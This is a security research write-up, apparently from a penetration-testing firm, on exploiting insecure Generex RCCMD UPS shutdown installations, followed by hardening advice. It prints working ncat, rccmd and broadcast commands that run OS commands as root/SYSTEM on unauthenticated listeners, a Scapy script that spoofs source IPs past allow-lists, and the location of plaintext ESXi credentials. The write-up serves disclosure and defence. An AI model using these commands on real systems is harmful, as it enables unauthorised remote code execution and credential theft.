Exploiting insecure RCCMD installations
Owning systems through remote control software
Generex RCCMD (Remote Control Command) is an application that allows the UPS (uninterruptible power supply) to gracefully shutdown critical systems before it runs out of power. It is quite popular in Germany, especially in small and midsize companies. In recent years, MOGWAI LABS exploited multiple insecurely configured installations to gain RCE on critical systems, including Domain controllers.
RCCMD overview
A typical installation usually contains of a UPS monitoring system/device (UPSMON) and multiple “client” systems which have the RCCMD service installed. We will focus on the RCCMD service here.
In case of a power loss within the datacenter, the UPSMON system can connect to the RCCMD clients and initiate a shutdown sequence. During this procedure it’s possible to execute OS commands/scripts on the target machines, or to send messages to the currently logged in user.
RCCMD provides installation packages for different operating systems (Linux, Windows, OSX, ESXi). The ESXi version is actually a virtual machine with a special RCCMD version that is capable to shutdown the ESXi host over SSH.
By default, RCCMD uses the following ports (the Windows installer configures firewall allow-rules for these services):
Port | Comment |
---|---|
8080/tcp | Web based management |
8433/tcp | Web based management (HTTPS) |
433/tcp | Web based management (HTTPS) (ESXi only) |
6003/tcp | RCCMD listener |
6003/udp | RCCMD listener |
961/tcp | Message Port RCCMD for tray (Windows only) |
The web interface provides access to the main system settings. This includes the scripts that are executed if the UPS sends a remote command.
The RCCMD message service protocol
The RCCMD protocol is a simple text based protocol that does not provide any form of authentication by itself. A text based client can connect to the RCCMD service, send the string “CONNECT TO RCCMD (SEND) MSG_EXECUTE”, followed by the actual command. The RCCMD protocol knowns the following commands:
Command | Comment |
---|---|
SHUTDOWN | Execute a shutdown of the remote system |
EXECUTE | Execute a OS command on the remote system |
MSG_ID | Send a predefined message to the RCCMD tray |
MSG_TEXT | Send a text message to the RCCMD tray |
MAIL_ID | Send a mail with a predefined message |
MAIL_TEXT | Send a email with a text message |
LOG_ID | Add a predefined message to the RCCMD log |
LOG_TEXT | Add a text message to the RCCMD log |
WAKEUP | ??? |
The following example shows how to use ncat to send a message to the RCCMD log. The RCCMD message service does not return any response
echo "CONNECT TO RCCMD (SEND) MSG_EXECUTE LOG_TEXT NCAT log entry" | ncat TARGET_IP 6003
Depending on the received command, the RCCMD service will execute different scripts/batch files. These files can be configured within the web interface.
Every RCCMD installation contains a “rccmd” binary which provides the RCCMD listener service but can also be used as a simple RCCMD client.
./rccmd -h
rccmd may be run in listen-, or send-mode.
listen-mode: wait for connections from rccmd sender:
rccmd -l [options]
options are:
-c <file> : read Configuration from <file>
-d : run as foreground process
-bs <file> : execute <file> if "SHUTDOWN" command is received
-ba <file> : execute <file> if upsman/upstcp is not alive
-a <host> : allow rccmd connection only from <host>
-p <port> : listen(/receive) on tcp(/udp) <port>
-ac <host[:port]>: check if upsman/upstcp at <host[:port]> is alive
-pc <port> : check upsman/upstcp on <port>
-rc <num> : check is disabled after <num> unsuccessful retries
-tc <time> : check upsman/upstcp every <time> minutes
-ssl : use SSL connection
send-mode (rccmd): send "command" to rccmd listener:
rccmd -se "command [parameter]" -a <host[:port]> | -ab <ip-address> [options]
-a <host[:port]> : send to rccmd at <host[:port]>
-ab <ip-address> : send rccmd broadcast on <ip-address>
"command" is one of:
SHUTDOWN| EXECUTE| MSG_ID| MSG_TEXT| MAIL_ID| MAIL_TEXT| LOG_ID| LOG_TEXT
options are:
-p <port> : send to rccmd on <port>
-t <time> : try at most <time> seconds to connect
send-mode (upsman): check if upsman/upstcp is alive:
rccmd -sc -a <host[:port]> [options]
-a <host[:port]> : check upsman/upstcp at <host[:port]>
options are:
-p <port> : check upsman/upstcp on <port>
-ssl : use SSL connection
-sslnorec : SSL - do not reject expired certificates
-t <time> : try at most <time> seconds to connect
common options:
-? : display this help and exit
-v : display version number and exit
Exploiting insecure default installations
Exploitation of a default installation is trivial as RCCMD allows you to run arbitrary OS commands with root/SYSTEM permissions by design. The following example uses the rccmd binary to create a file with root permissions on a Linux target:
rccmd -se "EXECUTE touch /tmp/pwn_via_RCCMD" -a TARGET_IP
05/27/2021,21:51:51, rccmd[17754]: Send Mode started
05/27/2021,21:51:51, rccmd[17754]: Trying to establish a connection to TARGET_IP ...
05/27/2021,21:51:51, rccmd[17754]: Connection established to TARGET_IP OK.
05/27/2021,21:51:51, rccmd[17754]: Send Mode stopped
Here the “ncat” version, if you don’t have the RCCMD client at your fingertips:
echo "CONNECT TO RCCMD (SEND) MSG_EXECUTE EXECUTE touch /tmp/pwn_via_RCCMD" | ncat TARGET_IP 6003
The RCCMD listener does not return any information if the execution of the commands was successful, or the output of the executed command.
RCCMD also provides a broadcast version of the RCCMD listener, running on UDP port 6003. This allows you to attack all RCCMD instances within a network with a single command:
./rccmd -se "EXECUTE touch /tmp/pwn_via_RCCMD" -ab BROADCAST_IP
05/27/2021,21:52:57, rccmd[18164]: Send Mode started
05/27/2021,21:52:57, rccmd[18164]: Trying to send broadcast to BROADCAST_IP ...
05/27/2021,21:52:57, rccmd[18164]: Connection established to BROADCAST_IP OK.
05/27/2021,21:52:57, rccmd[18164]: Send Mode stopped
Looting
The RCCMD web interface only provides one “admin” account, it is not possible to add additional accounts. The password of this account is stored in the file “realm.properties”, using a Linux crypt hash.
If an attacker gains access to an RCCMD ESXi system, it is a different story. The main purpose of this system is to shut down/migrate virtual machines and ESXi servers.
These credentials are stored in plain text, using “.creds” files located in the RCCMD root directory. The files are named after the targets hostname:
root@rccmdAppliance:/# cat /usr/rccmd/.esxi.creds
VI_SERVER = esxi
VI_USERNAME = user
VI_PASSWORD = the-password
RCCMD hardening
By default a RCCMD listener can be secured in 2 ways:
- Restrict the source IPs that are allowed to communicate with the RCCMD listener
- Enforce Authentication through TLS/SSL certificates
Restricting the allowed IP adresses is by far the most common hardening measure but it can also often be bypassed through the broadcast service. This service can be called with a single UDP packet, thus an attacker can easily spoof the source IP, for example by using Scapy:
from scapy.all import *
ip = IP(dst='172.16.104.2', src='172.16.104.10')
udp = UDP(sport=5555,dport=6003)
payload = b'CONNECT TO RCCMD (SEND) MSG_EXECUTE LOG_TEXT spoofed RCCMD log entry'
packet = ip/udp/payload
send(packet)
The attacker only needs to know one of the allowed IP addresses. This is often an easy task, just scan the network for UPSMAN, RCCMD or other UPS systems to find potential candidates. Depending on the target network size, the attacker could also just try all possible IP addresses within a certain range.
The RCCMD listener can further be secured by using TLS certificates. Enabeling TLS has the nice side effect that it automatically “disables” the RCCMD broadcast version of the service, as this would require multiple packets between client and server. The web interface only provides two general options here:
The description is a bit misleading. If TLS is enabled, the client must authenticate via TLS certificate. However, as the rccmd binary can be used as a client and service at the same time, this comes with some quirks:
RCCMD expects the certificates in the file “rccmd.pem”. A default RCCMD installation already contains this file, which is world-readable and includes an outdated TLS certificate.
The certificates within the rccmd.pem file must have the following order:
- Public key
- Private key (without password)
- Public key of the certified authority (CA)
The servers private key can therefore be used as to authenticate to the service, and this is, form our experience, what most RCCMD administrators do.
Following an example how to create and install a certificate under a Linux RCCMD installation.
# Create a new CA, will be stored in ./demoCA
mkdir ~/rccmd-ca
cd ~/rccmd-ca
/lib/ssl/misc/CA.pl -newca
# Create and sign a new certifcate
# Key and certificate will be stored in newkey.pem and newcert.pem
/lib/ssl/misc/CA.pl -newreq-nodes
/lib/ssl/misc/CA.pl -sign
# Add the public/private key to the our new rccmd-new.pwm
openssl x509 -in newcert.pem -outform PEM > rccmd-new.pem
cat newkey.pem >> rccmd-new.pem
# Append the public key from the CA to our rrcmd.pem
openssl x509 -in ./demoCA/cacert.pem -outform PEM >> rccmd-new.pem
# Create a backup of the original rccmd.pem
sudo cp /opt/rccmd/rccmd.pem /opt/rccmd/rccmd-backup.pem
# Replace the original rccmd.pem with out new version
sudo cp rccmd-new.pem /opt/rccmd/rccmd.pem
sudo chown root:root /opt/rccmd/rccmd.pem
sudo chmod 600 /opt/rccmd/rccmd.pem
# Please don't forget to
# enable TLS within the web configuration
# restart RCCMD service
sudo /etc/init.d/rccmd_start restart
## test the new connection from localhost
sudo /opt/rccmd/rccmd -ssl -se "LOG_TEXT TLS is working" -a 127.0.0.1
To secure a RCCMD installation, it is highly recommended to restrict the allowed IP addresses and enable TLS support. Only using TLS certificates might not be sufficient: A local attacker might be able to read the private key from the rccmd.pem file, which would still allow him to escalte his privileges to root or SYSTEM permissions.
If TLS is “to complicated”, the broadcast service should be disabled within the RCCMD configuration file (rrcmd.cfg) to prevent a potential bypass:
# Enable UDP
# Defines if we should listen for rccmd (UDP) broadcasts
# Default: true
ListenUDP=false
Thanks to Mika Baumeister on Unsplash for the title picture.